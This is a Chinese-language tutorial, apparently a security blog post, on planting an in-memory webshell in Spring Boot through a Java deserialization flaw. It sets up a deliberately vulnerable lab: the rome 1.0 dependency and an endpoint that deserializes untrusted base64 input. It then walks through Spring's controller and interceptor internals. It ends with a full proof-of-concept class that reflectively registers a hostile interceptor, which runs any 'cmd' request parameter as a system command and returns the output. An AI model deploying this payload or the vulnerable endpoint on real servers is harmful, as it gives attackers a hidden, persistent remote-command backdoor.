实验环境
仍旧像介绍 tomcat 一样,目标是反序列化注入内存马。引入存在漏洞 rome 依赖。
pom.xml 主要如下:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.15</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
...
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
控制器内容如下:
@RestController
public class IndexController {
@RequestMapping(path = "/", method = RequestMethod.GET)
public String index(@RequestParam(required = false) String name) {
if (name!=null) {
return "<h1>Hello, " + name + "!</h1>";
}else {
return "<h1>Hello, world!</h1>";
}
}
@RequestMapping(path = "/un", method = RequestMethod.POST)
public String un(@RequestParam String payload) {
byte[] decode = Base64.getUrlDecoder().decode(payload);
try(ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream)) {
objectInputStream.readObject();
} catch (IOException | ClassNotFoundException e) {
throw new RuntimeException(e);
}
return "ok";
}
@RequestMapping(path = "/un", method = RequestMethod.GET)
public String plz() {
return "plz";
}
}
Spring Context
与 tomcat 一样,我们必须获得 Spring 容器的环境才能够进行全局的操作。
WebApplicationContext
全局唯一的Root Context
,即 Root WebApplicationContext
。这个 Root WebApplicationContext
会和其他 Child Context
实例共享它的 IoC 容器
,供其他 Child Context
获取并使用容器中的 bean
。 我们只想办法获得这个 Context 即可。前辈研究出的方法也很多,也都是一行代码即可,这里就不再详细介绍了。直接 copy 吧 (hhh)
-
getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
-
WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
-
RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
-
getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
Controller
对 IndexController#index 的调用栈如下:
然后一直找啊找啊,在 AbstractHandlerMethodAdapter#handle 发现 controller 实际是一个 handler。
我们再往上一层也就是 DispatcherServlet#doDispatch 找起,发现 handler 是从 mappedHandler.getHandler() 来的
也就是
mappedHandler = this.getHandler(processedRequest);
mappedHandler.getHandler()
跟进 DispatcherServlet#getHandler,在 DispatcherServlet#getHandler 可以发现将其 handlerMappings 属性进行遍历并调用了 getHandler 方法。但是由于 HandlerMapping 是一个接口,一时间我们并不知道 getHandler 到底是干什么的。
但我们不妨注意到 DispatcherServlet 中的 handlerMappings 是存在 RequestMappingHandlerMapping
对象的
呵呵,分析控制器有点抽象,我先画张图片,这是后面都经常出现的几个类和接口之间的关系
理清了这些类的关系我们再来看看 AbstractHandlerMapping#getHandler
然后从子类找起,发现是调用了 AbstractHandlerMethodMapping 的 getHandlerInternal 方法来获得 handler。
我们继续跟进 lookupHandlerMethod 方法,发现其是通过 lookupHandlerMethod 来获得 handler
再看 lookupHandlerMethod 方法(这里我省略了一下无关紧要的部分代码)。可以注意到,这里会首先尝试用会通过用this.mappingRegistry.getRegistrations().keySet()
(注意这里是 keys 而不是 values)来寻找匹配的的 handlerMethod。如果找不到就返回 handleNoMatch
@Nullable
protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
List<AbstractHandlerMethodMapping<T>.Match> matches = new ArrayList();
...
if (matches.isEmpty()) {
this.addMatchingMappings(this.mappingRegistry.getRegistrations().keySet(), matches, request);
}
if (matches.isEmpty()) {
return this.handleNoMatch(this.mappingRegistry.getRegistrations().keySet(), lookupPath, request);
} else {
AbstractHandlerMethodMapping<T>.Match bestMatch = (Match)matches.get(0);
...
matches.sort(comparator);
bestMatch = (Match)matches.get(0);
...
this.handleMatch(bestMatch.mapping, lookupPath, request);
return bestMatch.getHandlerMethod();
}
}
这里的 mappingRegistry 是 AbstractHandlerMethodMapping 的一个内部类 MappingRegistry
而 getRegistrations 方法则是直接返回其 MappingRegistry 的 registry 属性
如果我们向 mappingRegistry 添加恶意的 mappings 那么就可以完成内存马的注入。
刚好在 RequestMappingHandlerMapping 这个类中有 registerMapping 这个方法,可以让我们很方便的进行注册
但是由于 Controller 内存马注入较为繁琐,且当目标环境存在 Interceptor 还会注入失败,局限性很大,不以该类型内存马考虑。下面介绍的 Interceptor 内存马就比较实用。
Interceptor
Interceptor 一个类似于 Controller 专属 Aop 的东西。
我们知道正常在 SpringBoot 中编写 Interceptor 的流程如下:
- 实现 HandlerInterceptor 接口
- 通过 WebMvcConfigurer 进行注册注入
我们继续在 Interceptor 中打下断点,可以看到它的调用栈
preHandle:17, LoggerInterceptor (link.f0rget.horse.Interceptor)
applyPreHandle:148, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:965, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
....
首先来看一下 HandlerExecutionChain#applyPreHandle 看方法名也知道这里肯定是尝试调用了 Interceptor 的 preHandle 的方法,而在 mappedHandler 竟然有我们自己定义的拦截器
不妨往上走几行代码,看看 mappedHandler 是怎么来的,很快啊
是调用了 HandlerExecutionChain#getHandler。然后实际在这里面是调用了 HandlerMapping#getHandler 别忘了我们前面分析控制器的那张图,HandlerMapping 是一个接口。实际上调用的是 AbstractHandlerMapping#getHandler
再来关注一下 AbstractHandlerMapping#getHandler,这次我们关注点发生了变化。我们跟进画红框的这行代码
在 AbstractHandlerMapping#getHandlerExecutionChain 终于看到了获取 interceptor 并添加的过程
而 adaptedInterceptors 也很容易知道
那么看来,只要我们修改 AbstractHandlerMapping 中的 adaptedInterceptors 属性,添加一个恶意的 Interceptor 进去即可完成内存马的注入。不过由于这个是抽象类,我们只能像 Controller 中的思路从 RequestMappingHandlerMapping 来获得。
注入流程:
- 先写好一个恶意的 Interceptor。
- 获取 WebApplicationContext。方法比较多,也比较简单
- 通过 WebApplicationContext 获取 AbstractHandlerMapping
- 反射获得 AbstractHandlerMapping 的 adaptedInterceptors 并添加 Interceptor。
比较简单,完整的 PoC 如下:
package link.f0rget.horse;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
/**
* @author Shule
* CreateTime: 2023/9/6 11:14
*/
public class Exp extends AbstractTranslet implements HandlerInterceptor {
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
try {
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>)adaptedInterceptorsField.get(abstractHandlerMapping);
adaptedInterceptors.add(new Exp());
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception{
String cmd = request.getParameter("cmd");
if (cmd!=null) {
try {
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
//将命令执行结果写入扫描器并读取所有输入
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
return false;
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
return true;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注入一次即可成功